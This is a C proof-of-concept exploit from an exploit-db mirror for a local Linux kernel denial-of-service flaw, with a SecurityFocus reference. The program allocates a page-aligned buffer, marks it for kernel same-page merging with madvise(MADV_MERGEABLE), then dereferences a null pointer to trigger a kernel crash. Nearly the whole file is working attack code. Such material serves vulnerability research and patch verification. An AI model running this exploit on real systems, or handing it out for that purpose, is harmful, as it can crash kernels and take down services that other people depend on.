exploit-db-mirror/exploits/linux/dos/35820.c
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/*
source: http://www.securityfocus.com/bid/48101/info
The Linux kernel is prone to a local denial-of-service vulnerability.
Attackers can exploit this issue to trigger a kernel crash, which may result in a denial-of-service condition.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define BUFSIZE getpagesize()
int main(int argc, char **argv)
{
void *ptr;
if (posix_memalign(&ptr, getpagesize(), BUFSIZE) < 0) {
perror("posix_memalign");
exit(1);
}
if (madvise(ptr, BUFSIZE, MADV_MERGEABLE) < 0) {
perror("madvise");
exit(1);
}
*(char *)NULL = 0;
return 0;
}